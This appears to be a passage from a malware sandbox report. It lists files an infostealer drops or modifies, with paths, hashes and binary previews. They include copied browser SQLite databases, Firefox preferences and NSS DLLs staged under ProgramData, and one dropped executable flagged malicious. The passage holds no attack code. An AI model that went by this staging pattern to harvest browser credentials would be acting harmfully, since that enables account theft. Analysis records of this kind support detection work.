Preview:	DTBZGIOOSOGIXCBMGZZTWMBQXGHIBDIDBNCACFDFVBOXTDUUJMUMBAKZSHFEIWNQHEECYVTVTSOTORNQIPIDARMCQDPQAFMDPEUWMOYTBCDCAYVFJLXBCNSKBDWMSQYEQYRUTREAZDRNQIZYXPRJXUJXDYZYLJWOVPCEZSCSUSREYDMTRVOKIKSVPBPVQFMFFQNUDCCBDNGIIDGYMQHFPEMCFEOSEKVDEHVQZBXIBJURBZFVTYETURFSVIYLBMHJKBCAPGOAJJFKOTEXRMHREBNTBJGLLRAKZHXKTTSKEXODMEVVGUJOGNLYLFYGHQIBHAFRVYETMDPLEXBQXLVWYLIMFCJAKPFWSQSVSWYINAAOPMCAAVTIWDFRPKUBYLVKYRNUDCLWZJHLKSXWPDEXGEVUQVEJQWTUUYNTOIRLKQTXRWJHCSMGZWWPGPBFZQLOSDMHAPKSMVNNMIVJAORPRFUXPDROELZMLHAIBRVVWUMSDWFAHIBDVMGGFRISFYQZZSESXHMSUQCQPXBCPTAZBJXKKLRBWEZYGWRXBBTYWRRUXCBJIWCOYQKBQCGCZCPFVLGETTTZLEFZDQMQFHJVERUYLQUPVYRNXQJRLPUBWWQHPTYNORTRKKOMLWKAQZNHZQUJGTIYVIKGAWLHSALTZENHAAJKNKUBSQXDVFQRUFJLDFZAQUPCRNDOOEIALNCMGYLCEZSLPOPYEKIEYDRXSDONBFKQKQMAWBJULDADUHXOQGQLIDEPZRHMCBVTLCJUGOZRYCGXCXPEOJTGJORAEJKASXKARQEVOHMITSWHQEWOJXNOGSKWUQQTSOSWSCCMOUDMMHPYKEAJECJSGTBNPSFVWSGFBKGSKEHVLWONOMPOOJEJHDMKGRPCSBYWCZNHTWZCKQNEGEYABJZETYLVHROKZJAIGKJDHLJBRYOVDHNANLCJBHTDDRPXIXDIHNWDDQDHPSAKZRRXOFYYXZWQWZFESELWVMUIBHMCLVZP

C:\ProgramData\FIDHCFBA

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 4, database pages 87, cookie 0x66, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	180224
Entropy (8bit):	0.9312584730793054
Encrypted:	false
SSDEEP:	192:CSqzyMUfTfnGCTjHbRJkkqtXaWTK+hGgH+6e7E:CrzyffrnzkkqtXnTK+hNH+5
MD5:	4ECC14F9549C4BB53159212C5BCC9CC0
SHA1:	EFEABE631F20B60E2863952BFF0F485BEB74CE36
SHA-256:	49F613160AD871F1B44381BB8F6B4E1EB481E41A86B462D4CD29CB90095EE149
SHA-512:	6EB988D5F9AA19A26EB1AE4E87F1D2E03D407B969777AB38E2031B3556D8915CCBD4BE6BD537A1A1D22A365D58CDF63E3B790D8AB7281DCCAC09F9685A0788C7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......W...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\FIIECFHD

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\HIIIIEGHDGDBFIDGHDAF

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\ICodecLibrary 1.22.66\ICodecLibrary 1.22.66.exe

Download File

Process:	C:\Users\user\AppData\Local\Zvaer Video Recorder\zvaervideorecorder.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3195899
Entropy (8bit):	6.610770856131541
Encrypted:	false
SSDEEP:	49152:ktxoBqogK3gzF14dHHw2mUDlcjGA6PqeB5ZBsBn9H:AoqohgzrcHQ2melci7PDBKn9H
MD5:	043BBFBF3F9119E9ACD330980383D523
SHA1:	BFD5461A05FE9E56D811C407056B074AEE2362FB
SHA-256:	95453C0BB147BD2773B049F0B255E6AE954E1CA2DE8DF4E264B39E090CA4649F
SHA-512:	5174DE21C14C60FB6624C4740D3342EFDBC194A75617B98C6FC64E625C52EE287107D0D15B0683286E6DBA45DDB90250E84D4DB503F04E2DE1B88941E3CB96E3
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...D..^........../...............................@...........................1.............................................D...........@...............................................................................l............................text...*........................... ..`.rdata..n/.......0..................@..@.data...8T... ...0... ..............@....rsrc................P..............@..@.pascal5......!..s...P!.............a.S.........................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDAKJDAAFBKFHIEBFCFBKKKECG

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDDHMPCDUJ.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.687055908915499
Encrypted:	false
SSDEEP:	24:X3rfasg2Tpd/zBJY+q9FZP0DJR6BdqWD5gB8H36D6jXLiUk2ZTV:X+52L/dJYBjYJRoddD5C8HqD8ZDZTV
MD5:	94EDB575C55407C555A3F710DF2A8CB3
SHA1:	3AB8DF4B92C320D7D4C661EAB608E24B43F3DD13
SHA-256:	DD3A4A93D60E4B7840557A44DAAF77F6B6F85032C7DD5FB10BE54C07B0E1E261
SHA-512:	F8F78D10AE19735413AF11F0C8DAC41644479D345DC6B300412DEDA9779A01DDFC7150FBFD54F2582A0DF8524B7E507886DBC49E59B084320017E9E64FC8DBFA
Malicious:	false
Reputation:	unknown
Preview:	JDDHMPCDUJFORBKGTIFQHFPQNEKFAIHGBDYZBWNZMVTSZXTGRUOCZPQRXMGXBNMAHGODCTVNAHQHZMJYIYXLTVDMEAVEXSWFQCDVPRSSLREITYMWHUXVVKLPJXQJOHYPAVYXSIMBBOTIWYDKNCDVKZZMEIFEDNNXHAHMYLPOUGNKMPZVDEQRUPZBQCKZDQINFECCUZINROAFGLIAMVWHXPPXOWZMWTITWBJFIENEHRXRHRPVUAIUAJUYDBBSQQMTJJXOAAMHVKJEOIQRSNKKQSGCHAUKUYPJEBZIGZTVKUXZEQOUSZPQBHKFHECDNFGTGIDHSJFVLAKZPDYVJVWECRIKKUCCFNNHBLBFCJEKSUZTITTTLQVOHKFHXFIIYDOZNAIBCDIRXJAYKHCOEXBOGSGEGGQEMHFXIZREOFZJSAFXTGSSZLVKYOANMZNPNESDZMFYWTZHIKUSMZXACWZEIMGTFRSZCGICPOSTZRECQYWZECQVLAWXESWPCDXLHIMJHSZJSDAXNXHETAWLZDXTZAPKBHSMKMYYGVSJCUIJSIFUHHMPIRBASPUOUXKKPQCECQBBZUSIXEOXLFFSQIFCTAIRASCMWEHFOXGEJRXFGJODUTKITHEAKFFJQTQNWWKXXDELWDHHEDWUTMSLXQJPVGOBKELYSRBQFYKXFHWGSCVLTCFKOEJMLUXIZVDPFHXHTSMTDRTVCNLISGJFVQRUTMZDYPUYBAEASZCSEUVHWRIQDEJIZQQHJNTIIICFMMPVLXOIVTPCTDKFPDVWXSBXZDXFUMBJTJMKOOHIMIOAKEJSIDIOJSRMRYXLDVGDBBYXARBNHXOXMBXYOTEFOAXRAUKXTWKYYGWNAHHCIIKQHYAETGBWABTEMJKNTEUQAWGHRIKDGGNHUIVVPPYPYTZERZKDPLUSIKPBDPJOCBYQJDEKAVQKHFTPBZJQOUCVBHAHZZGEXOCYGYDCZICBOETRSJSMVEZKINDRIKZYTUIS

C:\ProgramData\KATAXZVCPS.xlsx

Download File

Process:	C:\Users\user\Documents\SimpleAdobe\FDsH_f9gemssdAs7w06vZwlL.exe
File Type:	ASCII text, with very long lines (1024), with CRLF line terminators
Category:	dropped
Size (bytes):	1026
Entropy (8bit):	4.699548026888946
Encrypted:	false
SSDEEP:	24:pjU7tPjIpNf9XSXm/5eskkSAjuenNF0hE6mHPISZMqEv:pjU7xIpfXSipuenT0hvYIV
MD5:	A0DC32426FC8BF469784A49B3D092ADC
SHA1:	0C0EEB9B226B1B19A509D9864F8ADC521BF18350
SHA-256:	A381579322A3055F468E57EA1980A523CAF16ABFE5A09B46EC709E854E67AA01
SHA-512:	DAF85E375438A2A6CC261D75D672A9C43E80E6CB1BC1EAA1BDB7B798CDE22AEFD5A04AC1D10E6F24CDBB7F9EA0452F5CA790969C750B764B4B7F9E0C5B2A0731
Malicious:	false
Reputation:	unknown
Preview:	KATAXZVCPSXDNCRGTIEAHLTBMQUFAYSWEMLQOMHMIKPDECBCOYPMSTTHHPDKZNGFGWCNUUGIGXPEBWCPRKDGBOWPSNMTFYIHVYITPQGJYFOAJMWVQDHVSMYHPXFGNOURBBIVVVMRPWBBLQXUCAXUFAYRSTCKWXAAMKJJZILVYZNBPSMXAGXZDASFVGKBTHNGETLQIHPRIVPIVHVCSRDUBEGENZMHSYQLROJPZILEYZIFDADQNRGHABZNQMPQMEVKVERETAQUHUXWKYTSUKUXMTSIPUXJRNZOLPGLRSFBCHYWGMRDPLBUIIFHFUNFWRALBUPZLDJUHIMNWKMISYIKAQGSLGBWBFUXASKUFXDTLJAXOSBBQTQJNJAVJQLQEFEKRWWXRJNJSWYQQKPEAVJRUZGKJUAZLPHMOTXLNXAZINYPNPZNGRMVYVCYPPHKTYJCBWNURXFTCITKLDRSFMIHFZHIDPGLOTHCQFZZEHIEXWNNZRJQLWYMVUHTXHFFDTYBHDRBRNTPLBXPVFCUVAJOYOWRENFUXTSCNCCQJOSITCFTGJHFQCYISKUAVSRYASWVJRDNOYYCSYOZWHRPNSBWMHUUEYUGOXVSYKLFZAUQJZDVBEBHHGXQHZVJWNUGLSAYWIEHAJCPIOHOPCXKNVRISBGUAEMSYEGNPQXITRIIMXOLIJYUBIEQGZQUAHRWMKQHCRHKBJZQQXFYTNBHEJEWRPZRXZCXRJQVIUOATJAEYDILREREDIWFEMISEKZWNCDTIPTTOZXOZJIYMGKYIKXBLURVWBJHYFJCLGVVIMADULTTVZIOEIPMVJAOPSQCDFMYPSPGLBIQXTWTUZERGBDTCIRRVRTNGENXXRTHESXQFUQSRGUQDQWGTGXTSGDYWIQVOKABAIAJIEUVYCZXNYVKPRREMYAVDFDHWOGEKALUPBHOHENIHLFJZAHVTJIQJBKXOYIOELCIIECJBPTTASBEKGOESRDFBACPOTNMRZOG

C:\ProgramData\KJKKKJJJKJKF\AFCAAE

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 39, 1st free page 10, free pages 4, cookie 0x45, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.5241404324800358
Encrypted:	false
SSDEEP:	96:56U+bGzPDLjGQLBE3up+U0jBo4tgi3JMe9xJDECVjN:5R+GPXBBE3upb0HtTTDxVj
MD5:	241322143A01979D346689D9448AC8C0
SHA1:	DD95F97EE1CCB8FD9026D2156DE9CB8137B816D1
SHA-256:	65EEBDEC4F48A111AC596212A1D71C3A5CFA996797500E5344EEABDFA02527C8
SHA-512:	9C7241462A9DADEF25D8EEB1C14BABFBA65C451EBAFBC068B9856E4EF0EB6F894A44686CBB0D1F46C7F546335D0C53A3E386E6C1A017082DE127F8F9C0A54BD2
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'...........E......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\BAAFBF

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\BKJJJD

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 7, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 7
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.6732424250451717
Encrypted:	false
SSDEEP:	24:TLO1nKbXYFpFNYcoqT1kwE6UwpQ9YHVXxZ6HfB:Tq1KLopF+SawLUO1Xj8B
MD5:	CFFF4E2B77FC5A18AB6323AF9BF95339
SHA1:	3AA2C2115A8EB4516049600E8832E9BFFE0C2412
SHA-256:	EC8B67EF7331A87086A6CC085B085A6B7FFFD325E1B3C90BD3B9B1B119F696AE
SHA-512:	0BFDC8D28D09558AA97F4235728AD656FE9F6F2C61DDA2D09B416F89AB60038537B7513B070B907E57032A68B9717F03575DB6778B68386254C8157559A3F1BC
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\EGCGHC

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\EGCGHC-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\EGDGCG

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 5, database pages 89, cookie 0x66, schema 4, UTF-8, version-valid-for 5
Category:	dropped
Size (bytes):	184320
Entropy (8bit):	1.0671530580287119
Encrypted:	false
SSDEEP:	192:QSqzWMMUfTJnGCTjHbRJkkqtXaWTK+hGgH+6e7EHVumY/Un6:QrzWMffVnzkkqtXnTK+hNH+5EVumL
MD5:	AE3E7A509EDB5B7E46F851CB5AB7587D
SHA1:	461F516F194F6304E275AD1BB4C8275CA2C34F6C
SHA-256:	C8656BE4BA2FAAA6C2372915EF86F507A819CE60EAE345BFC1FB885E70A21624
SHA-512:	C7C2590FF23890F7317290E66C49D7A53C9D20BE965A76DCEC6D9A129CB3BFFF07B55E28D69D79799E476E6F4F6AD5B9CD67C55126E84A1CB18AF09C246B6122
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......Y...........f......................................................j............O........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\GDBFCG

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\GHDAAK

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	ASCII text, with very long lines (1809), with CRLF line terminators
Category:	modified
Size (bytes):	10759
Entropy (8bit):	5.498911647931198
Encrypted:	false
SSDEEP:	192:qnaRt+YbBp6ihj4qyaaX86KKkfGNBw8DJSZl9DLadaWMHNE2Ej:yegqumcwQEtzm
MD5:	79C8A5ED93B9AFEDE66E810B5E6C4CEE
SHA1:	E0C3EA040A33A46936CE046D79B6E0B8F7190C2D
SHA-256:	A5826AE763DC2F0112F13B8E593C41F714DE46CABF6FC3FD7AFB5D5B8AAB619E
SHA-512:	52E52966B8ED775C4E12794F2E4FC02DEF268C1D640F0A0D1D5D46D2E7CF77B9AA35DA1C3A851C66797CB3F21E9B3BA28A9F79169507DAC1E861FC29BAD87378
Malicious:	false
Reputation:	unknown
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "57f16a19-e119-4073-bf01-28f88011f783");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696333830);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696333856);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\KJKKKJJJKJKF\HDGHJE

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.037963276276857943
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWZWdgokBQNba9D3DO/JxW/QHI:58r54w0VW3xWZWdOBQFal3dQ
MD5:	C0FDF21AE11A6D1FA1201D502614B622
SHA1:	11724034A1CC915B061316A96E79E9DA6A00ADE8
SHA-256:	FD4EB46C81D27A9B3669C0D249DF5CE2B49E5F37B42F917CA38AB8831121ADAC
SHA-512:	A6147C196B033725018C7F28C1E75E20C2113A0C6D8172F5EABCB8FF334EA6CE10B758FFD1D22D50B4DB5A0A21BCC15294AC44E94D973F7A3EB9F8558F31769B
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\HDGHJE-shm

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	data
Category:	dropped
Size (bytes):	32768
Entropy (8bit):	0.017262956703125623
Encrypted:	false
SSDEEP:	3:G8lQs2TSlElQs2TtPRp//:G0QjSaQjrpX
MD5:	B7C14EC6110FA820CA6B65F5AEC85911
SHA1:	608EEB7488042453C9CA40F7E1398FC1A270F3F4
SHA-256:	FD4C9FDA9CD3F9AE7C962B0DDF37232294D55580E1AA165AA06129B8549389EB
SHA-512:	D8D75760F29B1E27AC9430BC4F4FFCEC39F1590BE5AEF2BFB5A535850302E067C288EF59CF3B2C5751009A22A6957733F9F80FA18F2B0D33D90C068A3F08F3B0
Malicious:	false
Reputation:	unknown
Preview:	..-.....................................8...5.....-.....................................8...5...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\JDGCGD

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 28, cookie 0x1d, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	57344
Entropy (8bit):	0.863060653641558
Encrypted:	false
SSDEEP:	96:u7/KLPeymOT7ynlm+yKwt7izhGnvgbn8MouB6wznP:u74CnlmVizhGE7IwD
MD5:	C681C90B3AAD7F7E4AF8664DE16971DF
SHA1:	9F72588CEA6569261291B19E06043A1EFC3653BC
SHA-256:	ADB987BF641B2531991B8DE5B10244C3FE1ACFA7AD7A61A65D2E2D8E7AB34C1D
SHA-512:	4696BF334961E4C9757BAC40C41B4FBE3E0B9F821BD242CE6967B347053787BE54D1270D7166745126AFA42E8193AC2E695B0D8F11DE8F0B2876628B7C128942
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\KFBGDB

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 4, database pages 39, cookie 0x20, schema 4, UTF-8, version-valid-for 4
Category:	dropped
Size (bytes):	159744
Entropy (8bit):	0.7873599747470391
Encrypted:	false
SSDEEP:	96:pn6pld6px0c2EDKFm5wTmN8ewmdaDKFmJ4ee7vuejzH+bF+UIYysX0IxQzh/tsVL:8Ys3QMmRtH+bF+UI3iN0RSV0k3qLyj9v
MD5:	6A6BAD38068B0F6F2CADC6464C4FE8F0
SHA1:	4E3B235898D8E900548613DDB6EA59CDA5EB4E68
SHA-256:	0998615B274171FC74AAB4E70FD355AF513186B74A4EB07AAA883782E6497982
SHA-512:	BFE41E5AB5851C92308A097FE9DA4F215875AC2C7D7A483B066585071EE6086B5A7BE6D80CEC18027A3B88AA5C0A477730B22A41406A6AB344FCD9C659B9CB0A
Malicious:	false
Reputation:	unknown
Preview:	SQLite format 3......@ .......'........... ......................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\freebl3.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\KJKKKJJJKJKF\mozglue.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\katC73D.tmp
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
